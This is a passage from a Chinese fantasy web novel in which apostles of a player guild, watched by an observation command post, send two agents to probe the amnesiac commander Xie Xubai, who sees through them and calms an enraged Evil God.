第八使徒巴瑟,北方雪原部落的战士,重逢时唯一对white拳脚相向的使徒成员,特性是好战易怒不服输。 曾有过对抗white的辉煌战果,就是大晚上变成蝙蝠叼着挑战书挂在人的寝室窗户上,还要露出两绿幽幽的大眼睛上演午夜凶铃。 本就劳心竭力的white第二天眼下青黑,被他骚扰到差点神经衰弱。 莉莉丝:“整个使徒公会,他是最合适的人选。” 希尔一直在看画面里的谢叙白,神色有些怔愣,他从来没有看见过white这么轻松惬意的模样,一听这话立马不乐意了:“你凭什么让巴瑟去不让我去?” “凭狩猎女神赋予他挑战强者对抗神权的勇气,不会像你一样见面就对white腿软。”莉莉丝说得很不客气,甚至略带一丝讥讽。 满脸困倦的小羊眨了一下眼睛:“那我……” 莉莉丝:“你对【安眠窝】有什么抵抗力?” 小羊不说话了,抱着玩偶晃晃腿。 确实没有一点抵抗力,看见white就想扑过去。 被莉莉丝顺势注意到,第六使徒连忙举起手:“不用看我,只要别让我面对他,我没任何意见。” 米埃尔看着大屏幕。 对着谢叙白的监控镜头有很多,三百六十立体环绕无死角,他猜测莉莉丝一定在附近安排了不下上百个潜伏者。 值得在意的是,除了巴瑟之外,还有一个和他并排的主视角。 “巴瑟身边的人是谁?” “他叫洛卡,虽然比不上white那个变态,但也是精神系的佼佼者,排进前三没问题。” 精神系的强者? 米埃尔的眉头一跳,发现自己还是低估了这个疯女人的胆大程度,脸色变得凝重起来:“难道你想直接探查white的思维?” “没错,我们衡量考虑一周,这是最快捷的方法。” 莉莉丝说:“white目前的状态看起来像是失忆了,不清楚是邪神叛变还是他自我封闭,无论哪一种,我们都需要‘唤醒’他。” “太冒险了!” “做什么不冒险呢?”莉莉丝笑着说,“当初white自爆灵魂的做法难道就很妥帖吗?” “但是你……”米埃尔极其不赞同这种激进的手段,然而在继续反驳之前,他再一次注意到一个疑点。 “正如你所说,你已经做好了决定,那你开这场会议的意义是什么?” 米埃尔凝视莉莉丝的神色越来越不敢置信,脸色变得极其难看:“你不止怀疑white,也在怀疑我们!” 小羊拧了下眉头,跳下椅子,来到会议室门口。刚抬起手,一道封闭的空间禁制就挡住他的去路。 他尝试破开禁制,力量瞬间反弹,嘭!擦过他的身体在地上割开一道两米宽的沟壑! 如果不是小羊躲得快,这一下能切掉他的半个手掌。 诚然这种攻击对使徒来说是小儿科,躲不开的可能很小,但是这一刻,会议室的温度仍旧不可避免地骤降十几度,气氛剑拔弩张。 莉莉丝没打算掩饰,见他们已经发现,干脆开门见山:“我邀请你们过来,目的很简单。一是请大家一起做个见证,毕竟我的判断不一定正确。” “二则是,如果幕后主使是邪神,white是被威胁的,我们要一起讨论如何解救他。如果幕后主使是white,我们要一起讨论如何解决他。” “如果不幸是后者,又很不幸地遇上在众有人是white的忠实拥趸,那就得先把内部肃清干净,再考虑一致对外。” 使徒公会是谢叙白一手带出来的,对他的情感可见一斑。 莉莉丝这话要是对外公布,能踩中百分之八十的使徒成员。 立场面前,不信任甚至成了最小的问题。 希尔渐渐坐直身,不着调的声音终于多了一分冰冷的杀意,为莉莉丝说要解决谢叙白,为莉莉丝对自己的威胁:“同为神级玩家,你就这么有把握能拿下我们所有人吗?” “我被委托接管命运神器时,曾在老师和white的见证下对地球宣誓,必将为人类取得胜利献上自己的一切。”空间异兽于双腿中发出兴奋的嘶吼,莉莉丝的语气没有一丝动摇,“哪怕是与昔日的战友为敌,付出生命。” —— 【巴瑟,洛卡,你们去吧。】脑海里响起莉莉丝的指令,巴瑟嗯了一声。 他往前迈出一步。 同一时刻,联盟指挥所的所有在职军官正襟危坐,各个从五湖四海赶来的专家齐聚一堂,面前576个监控小屏幕合并为两个主屏和20多个分屏,每个屏幕前都至少留有两名观察员在实时记录,目光全神贯注地集中在谢叙白的一举一动上。 从面部表情最幽微的细节反应,到手脚,肌肉律动,和店老板交谈时的行为习惯……通通都以最高级别的重视程度纳入超级计算机的数据分析。 此时的谢叙白还不知道自己正被几百人严阵以待。 他的注意力全都在面前的水果上,嘴角轻轻勾起,边和与店老板说笑唠家常。 阳光映照在青年的脸颊轮廓上,勾勒出一层柔和的轮廓,看起来比任何时候都要温柔和善。 和巴瑟印象里的white简直是两个极端。 使徒成员的个人信息被列入绝密,入会前会更改容貌。 谢叙白有意让自己看起来更威严一点,捏造出来的形象比较糙汉,但没有夸张到从一根豆芽菜到虎背熊腰的肌肉男,因为他担心有一天伪装道具会失效。 所以在道具伪装的前提下,他还会采用化妆和易容等物理手段给自己上双重保险。 直到最后也没有几个人知道,原来white是这样一个令人怦然心动的东方美男子。 指挥终端的人严词厉色:【巴瑟!你的多巴胺短时内分泌过多,心率也在急速上升,告诉我你在想什么?!】 【绝对不能臣服他,控制住自己的意志!】 修炼到后期的white是精神系天花板,亲和力拉满,精神操控更到了炉火纯青的地步,只需要笑着睨人一眼,下一秒那个家伙就会恨不得跪在地上掏心掏肺。 作为自己人,white是值得信赖与托付的强大指挥官,但作为敌人来说实在过于恐怖。 这也是为什么不能让那些亲近white的人过来试探他,很容易还没开口就对white临阵倒戈。 然而巴瑟浑身燥热,只想找谢叙白打一架。 或许是狩猎女神的赐福起了作用。巴瑟把自己当成是丛林里的王者,将恐惧、迟疑等负面情绪通通都化作汹涌的战意。谢叙白越是强大不好对付,他就越是想要挑战,亢奋难抑。 【巴瑟,让自己冷静下来,你不能跟他打,绝对不能。】 不能打,那就得想点什么东西转移注意。 巴瑟想起了过去的事。 从一开始他和谢叙白就非常不对付,或者说气场不和。 他看不起这个走后门搞特权的菜鸟,尽管面上没有表现出来,但他知道谢叙白有所察觉。 不然,也不会在裴玉衡想要将他调走的时候说:“留下他吧,使徒公会不能变成我的一言堂,我需要几个能和我敌对的人。” 那一刻起,巴瑟就知道谢叙白从始至终就没准备把他当成同伴,他顶多算谢叙白平衡权利的控制器。 身高两米一的外国壮汉还是太显目了,更别说这个壮汉还带着一身亡命之徒的血腥气。 现实里的谢叙白停止和老板的闲聊,扯眉看了过来。 那瞬间的扭头动作,让巴瑟猛然幻视一次试炼结束后,谢叙白捞起桌上的咖啡杯朝他劈头盖脸砸过来,眼里满是寒光,怒骂声整个走廊都听得清清楚楚:“蠢货!刚愎自用!愚蠢至极!” 那一次,是因为巴瑟嫌弃谢叙白分配给他的人手弱小且碍事,把他们全部都丢在了路上。 那些人最终没能活下来几个,但巴瑟认为弱肉强食,死了只能说明自己没用,况且死了还能复活,有什么大不了的。 谁不知道他一个人独来独往惯了,分明是谢叙白想借题发挥,才设套让他带队。 而且他始终厌烦谢叙白那天真到悲哀的理念。 从弱到强再到超凡的white,是几十亿人中才能出现一个的特例,不然奇迹怎么会被称为奇迹? 战斗是强者的使命,那些弱鸡菜鸟、普通玩家,根本就没有一战之力,为什么要把他们拉上战场? 是为了突出自己的不凡和强大吗?还是恶趣味地喜欢看人痛苦惨死? 那时候的巴瑟心想,如果white再让他去带领那些“老弱病残”,他也一定会再一次毫不留情地把他们留在危险中。 这是一种对独裁主义者的反抗。 white没有再给他派人。 那一次,white出奇地没能控制住怒火,亲手把他揍得遍体鳞伤,骨骼尽断。 但这种伤势对死猪不怕开水烫的神级玩家没有任何用处。 于是white疲惫地停下来,挥挥手让人把他丢进了牢狱。 没过两天巴瑟被人保释出来。 能这么轻描淡写免去罪责的原因之一是战场上缺人,而他是屈指可数的神级玩家,且拥有极强的战斗天赋。 其二是联盟那边也很需要有人能继续和white对着干,消减对方的影响力。 其三是他给手下的命令是见机行事,而非故意让他们送死。并且他在试炼中贡献巨大,做出了功绩。 重获天日的巴瑟当时就有些讥讽地笑了起来:如white所愿,哪怕他在内部的支持率高达百分之九十,使徒公会也不会成为他的一言堂,他甚至没法光明正大地废掉一个自己极其厌恶的人。 …… 其实,后来的巴瑟多少能理解white那“天真”的理念了,又或者说他认识到了自己的短视和无知。 让普通人上战场什么的。 因为他在濒死时被一名弱小的后勤人员救下。 那名后勤人员灰头土脸,巴瑟看不清他长什么模样,在那急促到仅有几秒的间隙里,只依稀听见他的大吼声嘶力竭:“我找到了巴瑟大人!这里!这里!快!立刻传送!我断后!” 但他说的断后不是拿武器阻挡敌人,而是使用一种类似诱敌喷雾的道具吸引仇恨。 没几秒,那名后勤人员就被外神的攻击吞没了,方圆十里化成废墟,渣都不剩。 传送有人数限制,协助他逃脱的人也只幸存下来两个,后来他晕了过去,再醒来的时候那两个人也死了。 他甚至都来不及问他们的姓名。 …… 现实中,巴瑟离谢叙白越来越近。 二十米,十米,五米,逐渐只有一步之遥。 身边的精神系高级玩家洛卡谨慎地发动技能,谢叙白看着他们俩,心声逐渐清晰:【……欧美人?】 谢叙白:【最近好像经常能看见外国人,难道是因为免签政策跑过来旅游?】 巴瑟想过谢叙白初见自己时的一切评价。 尽管后期他们已经形同水火,但前期应该不会那么紧张。 可能只是普通地厌恶,普通地警惕和排斥。又或者认为他是一个茹毛饮血的野蛮人,带着臭味的乡巴佬,手上沾血的危险人物。 绝对不会是现在这样,在从上往下打量他时突然眼前一亮,欣赏地喟叹一声。 谢叙白:【好帅的胸肌。】 巴瑟:“……” 监控前的莉莉丝等使徒成员:“……” 暗中冷漠审视玩家的宴朔:“……” 第283章 怒气值 “副本时间13:05:13,已驱散方圆两公里内疑似其他势力组织人员。目标地点光照适宜,温度适宜,没有高分贝噪音,符合人体生理舒适区。” “第八使徒巴瑟与心灵大师洛卡步入目标对象【谢叙白】所在的闹市区,双方处于同一水平线。中间有行人、车流、摊位等障碍物,相距约为982米。” “目标两肩放松,站姿随意,他很放松,又或是认为自己处于安全的环境下。” “13:05:43,目标无异常反应。” “13:06:13,目标无异常反应。” …… “目标动了!他注意到了巴瑟两人!” “大家看这里。目标先是抬头挺身,头部倾斜,随后瞳孔放大,眉头微微上挑,这是好奇的表现,他不认识巴瑟。就像我们之前猜测的那样,目标大概率是失忆了。” “不止是失忆。相距27米才注意到有陌生人靠近,他的感知能力也退化成了普通人!” “读取心声的过程中没有任何阻碍,也没有高出正常人的精神力波动……难道white真的失去了力量?上帝啊,到底发生了什么。” 联合厅秘密作战会议室,众多专家齐聚一堂,就谢叙白的微表情和言谈举止进行激烈的分析。 听见谢叙白在心里夸赞巴瑟,他们嘴角抽搐,表情怪异,不等作出点反应,猝然间警报拉响,红灯爆闪。 所有人脸色一凝。 “有巨额能量反应,是邪神,邪神就在附近……等等,不对劲,能量呈攻击性,祂这是把我们当成了敌人?” “该死,现在开打我们没有赢面,要不要撤退?” “不能撤!”莉莉丝果决冷静地下令,“我们等待一星期才有机会和white接触,之后多方势力涉入,情况变复杂,邪神肯定会更加严防死守,别忘了至今还有不少叛逃者试图干扰通关进程,必须抓紧时间。” 【洛卡,邪神尚未明确发起攻击,事情还有回旋的余地。不要和目标产生冲突,试探性地交流两句,缓慢释放精神力让他放松,等他对你产生信赖后再尝试深入话题。】 【——以及巴瑟,别摸着自己的胸陶醉了,时刻注意white及邪神的动向!】 然而邪神爆发的力量波动何其恐怖,远在指挥所里的二十多名专家观察员都被惊得拔身而起,何况现场处于漩涡中央的两个人? 谢叙白注意到洛卡低血糖犯了似的脸色一白,分分钟能倒在地上,下意识去搀扶:“你没事吧?” 手刚伸出去,后者就触电般往后一缩。 对上谢叙白狐疑的眼神,洛卡意识到自己反应过剧,歉然一笑:“不好意思,我有接触恐惧症,不太适应他人的触碰。” 竟是一口流利的中文。 谢叙白心里突兀地冒出一丝难言的违和感。 他不知道洛卡施加了认知干扰,就算二人一身与法制社会格格不入的血腥气,在外人看来也再正常不过。 他唯一能感受到的就是违和感,层层叠叠的违和感,累积到一定程度后在脑子里轰一下点燃名为警觉的导火索。 几乎是下意识的,谢叙白的视线落在洛卡的脸上,如卫星雷达般精准快速地逡巡。 这个探究的动作只花了不到0.1秒的时间,又在顷刻间凝缩成一个尖锐的可疑点。 谢叙白:【口型对不上。】 是的,口型对不上。 因为洛卡那一口流利的中文来自于系统商城的语言翻译包。 不同洲际的玩家想要交流沟通,绝大多数时候都会选择买个翻译包,一键学成,标准无误,而不是费劲巴拉花个三四五六七八年苦啃字义语法。就算是那些学习能力较强的高级玩家,也更倾向于花点积分,而不是在这种小事上浪费时间。 唯一的缺陷大概就是中间商翻译导致的口型不匹配,通常被人忽略不计。 谁知道就是这许多人认为微不足道的细节,此刻暴露出端倪。 洛卡狠狠一惊,高级玩家的心理素质强摁住他没有表露出来。他迅速给自己的嘴补上多重认知干扰,前面一两句话的露馅,就算谢叙白起疑心,也可以混淆为对方眼花。 但他并不清楚谢叙白的思维发散速度非常之快。 谢叙白:【他们走过人群的时候下意识避免和他人靠近,与建筑物也保持着至少半米的距离,不是简单的接触恐惧症,他们对这附近不熟悉,排斥并警惕这里的人事物。但头发清爽鞋面干净,衣裤工整无褶皱,说明这附近有地方可以歇脚洗澡,并且有专业的洗衣师帮他们熨烫衣物。行走时笔直向前,视线不偏不倚目的明确,没有初来乍到的踌躇,他们至少在这里停留适应了两天以上。】 谢叙白:【他们的装扮看似很随意,布料也不精细,但剪裁合体,是私人定制,说话的这人还给自己的鞋打了蜡,如此讲究,不会委屈自己住在折扣下来7、80一晚的社区旅馆。最近的星级酒店在四公里开外,不到一个公交车站的距离就有农贸市场,就算是要体会当地民生也不会舍近逐远吭吭哧哧逛到这个偏僻的区县来。】 谢叙白:【他们不是来旅游,而是为了某个特定的任务。神经高度紧绷,说明这个任务极难完成,又或者他们正处于某一方的监视下。左边壮汉的体格堪比北极熊,连他都要忌惮的地步,大概率会产生极其恶性的暴力冲突乃至于出现生命危险。但他的同伴又或者说同事却是一名谦和礼貌的年轻人,手上没有老茧,上下肢没有职业特训过的痕迹,说话文质彬彬,极其隐秘地用化妆手段软化面部棱角,有着销售精英和外交官的特性,代表他们的任务不止战斗,还需要谈判,典型的软硬皆施。两人站在一起,反而是性格看起来比较强势的壮汉靠后,那就是更想以谈判商议为主?】 …… 别看谢叙白想得多,转换成心声呈现给众人也就短短3秒时间,疾风骤雨般砸下来,堪比战斗机爆音飚速,眨眼就什么都看不见了,只留下高空中一圈浅淡的尾气震撼着围观者不明觉厉的内心。 关键谢叙白的眼神越来越凌厉,如果不是能力消失,现在金光已经化作刀尖抵在他们的咽喉。 洛卡掌心冷汗渗出,指挥所炸开了锅。 “一旦被看透,认知干扰就不起作用了!” “不能再让他这么分析下去!” “打断他洛卡!快说点什么打断他!” 方案中当然预设过挽救形势的说辞。 莉莉丝知道谢叙白这种捡到钱包会第一时间上缴公安局的乖乖仔,一旦巴瑟两人表现出危害他人的可能性,绝对会马上逃离并报警,所以话题必须积极友爱和谐正义。 同时谢叙白对自身苛刻到令人发指的地步,唯一能够让他软化的只有弱势群体和亲友。但谢叙白心细如发,任意伪装都有被揭穿的风险,所以最好用后者作为突破口。 洛卡调整表情和语速,让自己看起来坦诚友善:“其实我们是为谢语春教授而来。” 果不其然谢叙白沸沸扬扬的心声停了下来,他一愣:“谢教授?” 洛卡道:“没错。谢教授原定在上周五参加SDH最新型航天材料的宣发会,却没来由地中断行程,来到这一偏远小城定居,甚至遣散掉八成数量的保镖。她的学生及国际联合会专员莉莉丝.克诺玛奇亚曾致电过谢语春教授,但教授语焉不详,背景音里有许多嘈杂的人声,没几句就匆匆挂断电话。莉莉丝专员很担心她的老师遇到什么麻烦,于是拜托我们前来调查。” 谢叙白刚才的疑惑,在洛卡的话里都能得到解答。 他现在作为一平头老百姓,自然不知道国际内部发生什么重大秘闻,也就无从考证,只会顺着对方的话题犹疑着: 这些话可信吗?他们会不会是意欲窃取国家机密的间谍? 念头刚冒出来,就见洛卡拿出一沓合乎规章的通行证件:“我知道你在担心什么,请相信我们没有恶意,我们为中洲服务。” 以中洲海关的严谨程度,想要神不知鬼不觉入境不亚于痴人说梦。 最后由莉莉丝拍板牵头,和中洲顶级玩家组织达成短暂合作协议,本次行动就有相当多的一部分中州上层在实时监督。 听见是合法行动,谢叙白的神色又软和一分。 他询问洛卡能否拍照,经人同意后,分别发送给谢语春、裴玉衡以及岑海跃。 前两人暂时没回音,大概率在忙,岑海跃则是秒回:【是真的。】 谢叙白讶异,这么快得出结论? 没几秒对方又发来一条:【你那边出什么事了?有麻烦吗?要不要我现在过去?】 刚才消下去的异样感再一次冒了出来。 不是谢叙白怀疑岑海跃的鉴别水平,而是这些天抽风无极限把他看得贼紧的好友,居然没有第一时间询问他身边为什么会出现特工级人员。 反应不对,后一条消息更像欲盖弥彰的找补。 谢叙白看向旁边的水果店老板,老板原本还站在他们跟前,现在已经缩到椅子上百无聊赖烤火刷视频去了。 他们在这里又提谢语春又提中洲国际,一向八卦的老板居然一点都不好奇。不说老板,周围这么多路人,有一个朝这对显眼的组合投来关注吗? 哪里都不对劲。 不远处的高楼天台上,岑海跃一只眼睛瞄向聊天页面,一只眼睛时刻凝视楼下水果店前谢叙白颀长挺拔的身影。 他不用看都能确定那些证件是真的,因为早在一个星期前他就将那些证件拿在手里,一张张亲自过眼鉴别。 没错,他就是透露最终BOSS宴朔所在位置的无名S级诡王。 岑海跃深知凭他一人无法撼动邪神分毫,想要夺回谢叙白的力量只能寻求外部合作。 他曾在谢叙白的口中听到过【巅峰】【使徒】的名号,是谢叙白较为信任的人类组织,于是岑海跃主动找上了这群人。 到目前为止,这群人没有让他失望,仅凭那只言片语的线索就锁定了宴朔和盛天集团,亦无畏和邪神正面交锋。 只是。 在其他人无法感知的视野里,别说阳光明媚了,天空简直暗得伸手不见五指,漆黑触手裹挟湿冷水汽,宛若游龙穿梭在电闪雷鸣之间,横贯高楼大厦长达上万米,雄壮如盘山丘陵。 黑雾无孔不入地扎根在H市的每一寸土地,整座城市都被笼罩在邪神的诡王领域。 从巴瑟两人开始行动到现在,岑海跃的眼睛就没从谢叙白的身上挪开过。 随着玩家靠近谢叙白,平静翻涌的黑雾陡然炸开狰狞尖刺,几次三番想要爆发——他知道宴朔估计被刺激得不轻。 岑海跃一方面觉得痛快,一方面心生疑窦。 如果宴朔真的想囚困谢叙白,为什么要给自己机会联合这群外来者?为什么不在他们入境之前将其扼杀?又为什么要放任他们接近谢叙白? 洛卡正如临大敌。 说起来是赶鸭子上架——他这一副本才契约神祇,硬生生揠苗助长从精神系十名开外提拔至前三。 为什么有那么多精神系大佬却硬要选他?因为那些大佬都是神级玩家,或多或少都和white有过切磋。 换句话说,他没有保留和white相处的记忆,不会因为曾被铺天盖地的精神力狠狠碾压而一蹶不振,毫无对抗的心气。 现在洛卡感觉自己也要差不多了。 谢叙白问:“既然你们知道谢教授住在哪里,为什么不直接上门拜访?” 洛卡:“经过调查,我们有理由怀疑谢教授确实被某件事或某个人绊住了脚,贸然上门有惊动幕后主使的风险。” 谢叙白:【谎言。】 谢叙白问:“为什么要来找我?” 洛卡:“你是谢教授来这里定居后唯一频繁接触过的人,我们猜测你可能知晓内情。” 谢叙白:【谎言。】 谢叙白问:“你们有能力将谢教授最近的人际关系查得一清二楚,却没有能力和她取得联系?” 洛卡:“我们尝试和谢教授约见,但有一股力量阻止我们,讯息无论如何也传达不过去。” 谢叙白:【半真半假。】 使用精神系技能需要强大的信念,可这股信念正在谢叙白愈发尖刻的剖析下摇摇欲坠。 洛卡都不知道谢叙白怎么从领结看出他来自西班牙,这人真的失去了记忆和能力吗?? 谢叙白突然问:“你为什么要往旁边看,那里有人?” 洛卡瞳孔一缩。 莉莉丝厉喝:【别动!他在诈你!】 洛卡不是没想到这种可能性。 可电光火石间,谢叙白的心声毫无征兆地消失了,一片空白! 技能失效了?被目标看透破解了?他们暴露了? 这一刻,洛卡的心理城墙开始崩塌,情不自禁地扭过头,看向同伴潜伏的方向。 谢叙白了然:“你们的目标不是谢教授,是我。” 不然有什么必要对一个间接人物搞十面埋伏,兴师动众。 仿佛终于被推上断头台,雪亮的闸刀高高升起,洛卡猛然一僵。 谢叙白往前追击:“你们是听命行事,如果我是目标,应该会有人指挥你们,耳麦藏在哪里?” 洛卡不受控地退后一步。 谢叙白:“你不是接触恐惧症,你在怕我。因为什么?告诉我。我有什么地方非同寻常,让你畏惧?” 心声突然沉寂,又突然出现。 谢叙白:【他认定我会伤害他。】 谢叙白:【他们全副武装就是想对我出手。】 谢叙白的手悄然探向裤腰,心声陡然冷厉:【既然这样,那不如先下手为强,先解决最近的这个人——】 洛卡再也忍受不了,慌张侧身闪躲:“Bathes,protege a mí!(巴瑟,保护我!)” 滴。 谢叙白拿出手机,扫码支付买水果的钱,不忘知会一声:“钱扫过去了啊。” 老板正沉浸在嬛嬛被人揭发通奸的紧张感里,头也不抬:“好勒收到了!这天的草莓甜,你抓几个去尝尝!” 谢叙白和老板混得很熟了,也不见外,随手抓起三颗草莓,回头对上洛卡呆滞中透着不敢置信的眼神,微微一笑。 【虽然有点不可思议。】谢叙白在心里说,【但显然你们知道我心里在想什么。】 谢叙白:【超能力?】 咔嚓一声,高悬的闸刀落下,洛卡遍体生寒。 指挥所陷入死一般的沉寂。 他们猜到洛卡会暴露,但没想到会这么快。盯着监控屏幕里谢叙白的脸,仿佛重新认识这个人,不少人骇然心想。 ——这就是曾经临危受命统帅整个使徒公会,肩挑救世计划的最高指挥官。 谢叙白看向肌肉紧绷的巴瑟:“我都把你的朋友逼到这个份儿上了,你却没有向我出手,咱们之前认识?” 巴瑟面无表情。 谢叙白友好地将草莓递过去:“吃不吃?” 巴瑟视线向下,无动于衷。 谢叙白:【难道他也怕我?】 怕字犹如钢针,将巴瑟冷漠的脸刺出一条裂缝,他眉头狠狠一抽,将草莓拿过去,丢进嘴里。 下一秒谢叙白:【居然真的吃了,还蛮信任我的嘛。】 巴瑟:“……” 谢叙白:【糟糕,忘记草莓没洗,这点农药应该吃不死人吧?】 巴瑟:“…………” 还没来得及吞下的半块草莓肉卡在嘴里,咽也不是,吐也不是,如鲠在喉。 谢叙白眼睛一弯,笑了起来。 他将另一颗草莓递给洛卡,后者连连摆手,他也不强求,含住草莓尖咬出香甜的汁水,慢条斯理地吃着。 他垂下眼睫,看起来很平静,内心却是波涛汹涌,诸多画面走马灯般掠过。 为什么岑海跃会不受控地抱住他悲恸大哭。 为什么他一个普通人,身边却聚集许多奇人异士,甚至是科研国士。 为什么他对很多人都没印象,大家却对他亲热至极。 为什么物价如此低廉,经济却一反常理地持续高升。为什么世人欲望三千,总有恶念,犯罪率却绝对为零。 …… 都说得通了。 “莉莉丝议员,我们该怎么办?” “……”和惴惴不安的观察员不同,莉莉丝那边蓦然松上一口气,往后一靠,搓了搓汗湿的掌心,如释重负道,“没事,警戒解除。” 仿佛应召这句话,众人透过监控屏幕,在谢叙白的眼底捕捉到一抹流转的光芒。 那并不是错觉。 伴随光芒扩散,谢叙白的一双瞳孔被晕染成璀璨的金黄色。 人还是那个人,气质却浑然一变,某种历经沧桑岁月,沉淀无数血泪的东西自他的灵魂深处焕发而出,摄人心魄。 谢叙白将最后一口草莓塞进嘴里,抬眸一笑,面向洛卡,又或者说监控屏幕前的所有人:“各位,能听见吗?” 洛卡一顿,凝神聆听莉莉丝的指令,对谢叙白说:“我是莉莉丝,能听见,请说。” 谢叙白道:“时间紧迫,我简单说明一下最终副本的通关条件。一,消除邪神的怒火;二,证明人类的实力。同时达成这两点即可。” “你的说明也太简单了。”洛卡一五一十复述莉莉丝略带埋怨的追问,“怎么消除邪神的怒火,如何证明我们的实力,至少给个提示。还有为什么不是你来掌控这个副本?你的失忆又是怎么回事?” 谢叙白摇了摇头,抬起手。刹那间天地变色,气流涌动,金光自他的掌心爆发,犹如一场风暴席卷整座城市。 飓风吹得人睁不开眼睛,洛卡巴瑟下意识举起双臂,却发现这金光毫无攻击力,落在身上甚至有股如沐春风的惬意。 不到片刻,所有玩家耳边传来“叮”的一声提示音。 【恭喜您获取“谢叙白”提供的功能buff,可随时查看“邪神■■”的怒气值!】 天色一暗,仿佛解开某种认知上的限制,无数玩家闻声抬头,乍然惊呼。 在他们头顶离地上万米的高空上,触手翻涌如黑云压境,压迫感十足。 但更显目的是一个硕大的金色方框,标记着一长串动态变化的漆黑数字。 反应快的玩家已经开始数数了。 个、十、百、千、万…… “一个亿?!” 不少人简直要被这逆天数值气笑:“有没有搞错,德国魏玛时期闹金融危机都没这样膨胀的!” 十二使徒算是为数不多知道谢叙白和邪神有暧昧的知情者。 一开始他们以为是单纯的家庭矛盾,毕竟邪神只为谢叙白失控。 希尔撇嘴,对闹脾气的邪神表示强烈鄙夷;小羊震惊他们的夫夫关系居然如此不和谐;第六使徒看热闹般兴致盎然地哇哦一声;第二使徒无奈扶额。 莉莉丝见谢叙白安好,神经松弛下来,也有闲心打趣:“这家伙到底干了什么伤天害理的事情,把他家那口子气成这样。” 巴瑟就没他们“看得开”,也因为他习惯于和谢叙白抬杠硬碰硬,当场语气极冲地质问:“你的姘头想发火,那是你们家的私事,你觉得把它搬到台面上来……” “可笑不可笑”这五个字还没出口,巴瑟眼前猝然一黑,剧痛侵袭全身,他仿佛听见全身骨骼断裂的脆响,在巨大冲击中倒飞出去,砸断石墙! 吵闹的通讯频道立时息声,静得针落可闻,所有人都被这突如其来的变故惊呆了。 巴瑟头晕目眩,重伤吐血,好半天才从废墟石砾中摇摇晃晃地撑起身。 他从暴动的神力波动中仓促判断自己遭到了邪神的攻击,涣散抖动的视线余光向外一扫,发现周围无人。巴瑟讥讽地想,邪神还挺会控制着落点。 没有害怕,不可能害怕。哪怕力量差距犹如天堑,哪怕被碾压虐杀也不会屈服,这就是他的个性。 巴瑟愤懑抬头,却僵在当场。 他躺在半径超五十米的深坑里,分辨不出这里原本是什么建筑物,因为它们一瞬间都被冲刷成齑粉。 距离他不到半个手掌的距离悬停着一根触手,杀意浓稠几乎化为实质。 如果不是一缕金光死死拽住它,恐怕巴瑟早已粉身碎骨。 但这不是巴瑟僵愣的原因。 包括他在内,监控屏幕前的所有人都猛然瞪大双眼,定格在不稳跌坐进触手中央的谢叙白身上。 谢叙白急喘一口气,脸色惨白,额头冷汗直冒,泛白指节捏住不断收紧的触手,想要站起来,但给玩家补充功能buff已然将他修养多天积攒的所有力气消耗殆尽。 不断挣扎却最终脱力的模样很是狼狈,像个奄奄一息的垂朽老人。 但监控屏幕前没人笑话,甚至都没人出声。 因为谢叙白“苏醒”后,不止冲破邪神的认知干扰,还冲破对方施加在他灵魂上的伪装。 于是玩家们终于看见,那副峥嵘铁骨下触目惊心的伤痕。 轰——! 海水倒灌,地动山摇,惨白雷光划破天幕。 无数玩家愕然抬头,看见金色方框中的怒气值爆发式疯狂上涨。 整个副本受到影响,各地磁场紊乱,空间出现不同程度的崩坏,气候失调引发苍穹变色,猩红交杂紫色雷电,宛若末日黄昏。 空气一阵扭曲,第六使徒使用赫尔墨斯【信使】的能力,将大家传送到现场,十几道身影匆忙落地,快步往前。 现在所有人都知道了,从来就不是什么家庭闹剧。谢叙白灵魂碎裂成那副惨状,还能活着纯属奇迹。 上一次邪神发狂,杀得高维外神伏尸无数,杀得系统在游戏重启后东奔西逃,只敢隔着虚空暗箱操作,不敢暴露本体,不敢再踏进地球一步。 在庞然巨物冰冷刺骨的注视下,莉莉丝低头:“邪神,请您息怒。” 第284章 彼此一瞬怦然 居民楼天台上的岑海跃能够将底下情况一览无遗,谢叙白伪装解除的瞬间他目视那散碎的灵魂,脑子一片空白! 听说和亲眼看见完全是两回事。岑海跃喊着谢叙白的名字要往下跳,可没能跑出去一步,邪神的威压排山倒海般精准地砸在他的头顶,将他四肢着地死死地摁趴下去! “艹!”岑海跃怒骂。 天空陷入昏暗,空中弥漫阴凉雨汽,轰隆雷声震彻天地。 金色方框中的怒气值变化速度快出残影,几分钟就要往上高涨一截,那惊人的数字像是重锤敲击着每一个玩家的心脏。 莉莉丝一方人马微微俯身,向暴怒的邪神致礼示弱。但另一方面,他们垂在腰侧的手也酝酿着力量,肌肉绷紧,蓄势待发。 对下意识将重担压在谢叙白的身上,他们有股后知后觉的歉疚。如果邪神怒火难平,要他们服惩自戕,他们没有二话。 ……前提是邪神不会发疯失控,屠戮众生,大开杀戒。 气氛一阵凝固,双方陷入难解的胶着。就在所有人神经高度紧张的时刻,突兀响起几声压抑的闷咳。 “你们要打架的话,我没意见。”谢叙白艰难地把自己从密不透风的触手里拔出来,上半身柔柔弱弱往后一靠,满脸的生无可恋,“反正我现在也没什么力气去阻止了,大不了后半生在监狱里过。一个纵容家属故意毁坏城市公共财产财务罪,一个放任属下聚众斗殴管理失职罪。你们说如果我表现良好积极认错三五十年后有望被放出来吗?伤残人士应该可以酌情减点刑吧。” 众人:“……” 在谢叙白的幽幽注视下,十几名神级玩家悻悻地收回杀招。 本就没想打,打也不一定能打过,何况他们心有亏欠。 只有两个刺头冲动了点。一个希尔,关心则乱,谢叙白倒下的瞬间十几株菟丝子冒着凶光摧枯拉朽地杀出去抢人,谢叙白淡淡地扫去一眼,他虎躯一震菊花一紧,气势汹汹的小绿芽们立马又东逃西窜地缩回去安静如鸡。 一个巴瑟,啃完一管恢复药剂满身是血爬回来,憋火又惊魂未定,倒是硬气地多怒了几秒钟。 再然后他目及谢叙白憔悴的脸,仿佛被刺痛般脑袋往旁边一别,蔫了下去。 谢叙白再看向宴朔。 某家属大概是气惨了,人形都不愿意亮出来,只有一大团章鱼轮廓的阴影模模糊糊立在身后,离地高约几十层楼,再露出一对猩红阴鸷的大眼珠子直勾勾地睨视玩家,压迫感十足。 谢叙白将手伸向涌动的触手。 两根触手宛若城墙般将他腰肢往下托起又尽数围住,他出不去,展臂能够到的也就这一小片地方,对比邪神现在的庞大体格,相当于勾勾人家的手指头。 谢叙白左边摸一摸,右边摸一摸,没有技巧就纯摸。 在众都是神级玩家,很清楚神祇犯起病来有多难伺候,见谢叙白都不说话,也不用精神力安抚安抚,心里直犯嘀咕:这能行吗? 紧跟着那遮天蔽日的巨物动了。 阴影一圈圈缩小,变成剑眉星目、神色冷寒的英俊男人,不由分说将谢叙白勾腰按在怀里。 